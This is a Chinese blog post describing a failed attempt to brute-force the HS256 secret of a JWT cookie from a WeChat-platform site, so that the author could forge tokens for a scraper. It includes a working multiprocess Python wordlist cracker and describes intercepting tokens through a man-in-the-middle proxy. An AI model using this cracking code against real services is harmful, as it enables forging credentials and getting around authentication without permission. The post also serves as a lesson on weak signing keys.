一次关于jwt的尝试破解

发布时间 2023-11-23 10:52:13作者: 沧海一滴

 

一、为什么研究jwt

jwt是现在前后端分离项目中很流行的跨域身份验证解决方案,我前段时间不知道啥是jwt是啥,后来一步步揭开它的神秘面纱,听我慢慢道来。

最近在用爬虫爬一个站点的图片。结构复杂混乱,花了好长时间。但是没有什么反爬,唯一麻烦的就是构造请求的时候cookie里面的token两个小时过期一次,使用了很多的方法。
方案一:每次都要拿上fiddler,中间人获取别人的token,输入到脚本中去,脚本加入了server酱的微信token过期提醒。
方案二:单独搭建服务器用手机的httpcanary这个类似fiddler的安卓软件获取token提交token到我自己的服务器,脚本再请求我的服务器获取token,不用守着电脑了。

 

 

 

方案三:还fiddler script 写原生的ajax自动提交请求的请求头再通过服务器程序正则提取想要的token保存到数据库,爬虫脚本请求我自己的服务器获取token。

 

 

真的太折磨人了。因为目标站点是微信平台,很难在浏览器打断点,自己也不会js逆向,分析token过期以后该怎么请求服务器来简单的获取新的token。

动图
 

 

二、来分析一下这个token吧

 

 

这个token存在请求的cookie中。是 三个键值对形式的cookie。
第一个sajssdk_2015_cross_new_user=1,没有分析出来是什么东西
第二个sensorsdata2015jssdkcross就牛逼了,这是神策数据大数据平台开发文档里面的关键字,看了下官网,在前端埋点收集用户点击,后台大数据分析,精准营销?定向营销?收集用户需求,给公司决策提供数据支撑?(有兴趣可以去百度下)
第三个APP_TOKEN,这就是重点所在。根据不断尝试,其他数据可以变,都可行,就这个改变了会报错。

 

这个APP_TOKEN的内容就是传说中的jwt验证
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxODI3NjEiLCJhdWQiOiJXRUlYSU4iLCJleHAiOjE1ODc1NjgxODAsImlhdCI6MTU4NzU2MDk4MCwianRpIjoiMWQzMDhhOWEtNzg0ZC00NzVjLWE5ZDEtOGZiZmYxMTk1MDY0In0.F4G-NpKcqQ5AuZyK1R7LTPi5zX0AW3hOalODvoeny5Q
JWT有三个部分如下,以点号分割。分别为JWT头、有效载荷和签名拿到这个在线解密网站解密一下。



第一部分:jwteyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9为jwt的头,base64解码为:
{
"alg": "HS256",
"typ": "JWT"
}
alg属性表示签名使用的算法,默认为HMAC SHA256(写为HS256);typ属性表示令牌的类型,JWT令牌统一写为JWT。


第二部分:有效载荷
eyJzdWIiOiIxODI3NjEiLCJhdWQiOiJXRUlYSU4iLCJleHAiOjE1ODc1NjgxODAsImlhdCI6MTU4NzU2MDk4MCwianRpIjoiMWQzMDhhOWEtNzg0ZC00NzVjLWE5ZDEtOGZiZmYxMTk1MDY0In0
base64解密为:
{ "sub": "182761",
"aud": "WEIXIN",
"exp": 1587568180,
"iat": 1587560980,
"jti": "1d308a9a-784d-475c-a9d1-8fbff1195064"
}
sub:用户唯一id
aud:客户端类型
exp:过期时间
iat:签发jwt时间
jti:每一次jwt的签发的唯一ID
过期时间和签发时间相减刚好两小时


第三部分:签名
F4G-NpKcqQ5AuZyK1R7LTPi5zX0AW3hOalODvoeny5Q
这就是最重要的部分,因为jwt的签发是从服务器签发给客户端的。通过一个密钥生成的,在任何场景都不应该流露出去。一旦客户端得知这个密钥, 那就意味着客户端是可以自我签发jwt了,我最终就是要找到这个密钥。
生成方式就是前两部分分别base64加密组成字符串再加上密钥这个字符串再通过第一部分声明的HS256方式加密得出来了的。HS256就是一种对称加解密。加解密就是一个密钥。


动图封面
 

 

三。分析完毕,开始破解

接下来就要求到这个密钥,根据多方采集的资料,只有穷举弱口令暴力破解了。综合运用,采用多线程,微信通知成功的消息,开始网上搜集一些弱口令。

讲解一下python中jwt模块验证方式,我将采用jwt的解码,查看解码时的各种状态判断爆破是否成功,就是不断试错,看试错结果

稍微解释一下,看不懂略过就行:

1.若签名直接校验失败,则 key_ 为有效密钥;

 

 

2.若因数据部分预定义字段错误(jwt.exceptions.ExpiredSignatureError,jwt.exceptions.InvalIDAudienceError,jwt.exceptions.InvalidIssuedAtError,jwt.exceptions.InvalidIssuedAtError,jwt.exceptions.ImmatureSignatureError)导致校验失败,说明并非密钥错误导致,则 key_ 也为有效密钥;

 

 

3.若因密钥错误(jwt.exceptions.InvalidSignatureError)导致校验失败,则 key_ 为无效密钥;4.若为其他原因(如,JWT 字符串格式错误)导致校验失败,根本无法验证当前 key_ 是否有效。

 

代码如下

import requests
import jwt
import datetime
import os
import time
from multiprocessing import  Pool
jtws = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxODI3NjEiLCJhdWQiOiJXRUlYSU4iLCJleHAiOjE1ODc1NjgxODAsImlhdCI6MTU4NzU2MDk4MCwianRpIjoiMWQzMDhhOWEtNzg0ZC00NzVjLWE5ZDEtOGZiZmYxMTk1MDY0In0.F4G-NpKcqQ5AuZyK1R7LTPi5zX0AW3hOalODvoeny5Q"
 
def server_send(key):
    #server酱通知,通知到我自己的微信,要改自己的密钥哦
    jsons = {'text':"key找到了",'desp':str(key)}
    urls = "https://sc.ftqq.com/SC*******************************************.send?"
    datas = requests.get(urls,params=jsons)
    print("找到了!!!!!!!!!!!!!!!!!!"+str(jsons)+str(datas))
 
def jwt_test(key_):
    if key_:
        try:
            key_ = str(key_, encoding = "utf-8")
        except:
            return
        try:
            jwt.decode(jtws,verify=True,key=key_)
            server_send(key_)
        except (jwt.exceptions.ExpiredSignatureError,jwt.exceptions.InvalidAudienceError,jwt.exceptions.InvalidIssuedAtError,jwt.exceptions.InvalidIssuedAtError,jwt.exceptions.ImmatureSignatureError):
            server_send(key_)
        except jwt.exceptions.InvalidSignatureError:
            pass
 
if __name__ == "__main__":
    all_count = 0
    rootdir = r'H:\111\gg\key\EWSA跑字典(相关程序)'
    list = os.listdir(rootdir)
    for i in list:
        path = r"H:\111\gg\key\EWSA跑字典(相关程序)\\" + str(i)
        key_list = []
        with open(path, 'rb')as f:
            for line in f:
                key_ = line.strip()
                key_list.append(key_)#搜集每一个文件下的弱口令组成一个数组放到线程池爆破。
        totalStartTime = datetime.datetime.now()
        pool = Pool(processes=16, )#16个线程的线程池
        pool.map(jwt_test, key_list)
        pool.close()
        pool.join()
        endtime = datetime.datetime.now()
        time.sleep(1)
        print(str(i) + "有" + str(len(key_list)) + "个弱口令已跑完,耗时:" + str((endtime - totalStartTime).seconds))
        all_count = all_count + len(key_list)
    print("一共有" + str(all_count) + "个口令已经跑完")

 

结果输出还是挺震撼的速度很快,但是还是没有猜出来,后面又接连尝试了很多弱口令,花了很多时间,心态崩溃。中间还出现了python jwt模块有个关键字 ,猜出来密码是ssh-rsa,我还以为算出来了,高兴了半天。




接下来采用第二种暴力穷举的方法,GitHub搜到了

开启暴力破解!使用c语言多线程暴力破解,运行平台是ubuntu,还好我装了一个双系统。
效果同样震撼

 

电脑风扇呼呼的转,cpu 占用3000%运行了三小时,失败告终,看了一下源代码。好像是穷举6位数的英文数字组合,这样就花了3小时,再加一位不知道要得多长时间,本来还想要改源码,仔细一想还是算了。我的电脑可是双路E5,16核32线程的,哈哈,很担心电脑会跑坏掉。

 

no solution found :-(
四。破解失败,总结

到此为止,所有的尝试以失败告终。这个过程挺有意思的,值得记录一下,又汲取到教训,千万不要设置弱密码。简单四位数的密码几秒钟就猜出来了。

补充一下我自己有关的jwt的想法,传统验证用户信息用的是session和cookie这种组合,session存在服务器上,cookie存在客户端。cookie由服务器生成的,发给客户端存着,客户端每次请求就会携带cookie,服务器就会通过cookie的内容从而识别客户端的身份。session存在服务器,客户端的请求都会携带自己的身份信息,服务器就会通过session对比这个信息判断请求是否合法。但是session用户过多开销过大,也不能在多个服务器的服务端下使用,因为它存在服务器的内存中无法共享。jwt弥补了这个缺陷,基于jwt的验证类似于http协议也是无状态的,它不需要在服务端去保留用户的认证信息或者会话信息,但是jwt在我看来也是有问题了,签发出去服务器就不管了,我利用这两个小时的过期时间可以做很多事情,我在猜想是不是要用动态的jwt防止这种情况,但是无疑这种开销是巨大的,还不如使用频率检测,ip检测来限制这种我这种用户。

 

 

https://zhuanlan.zhihu.com/p/135247813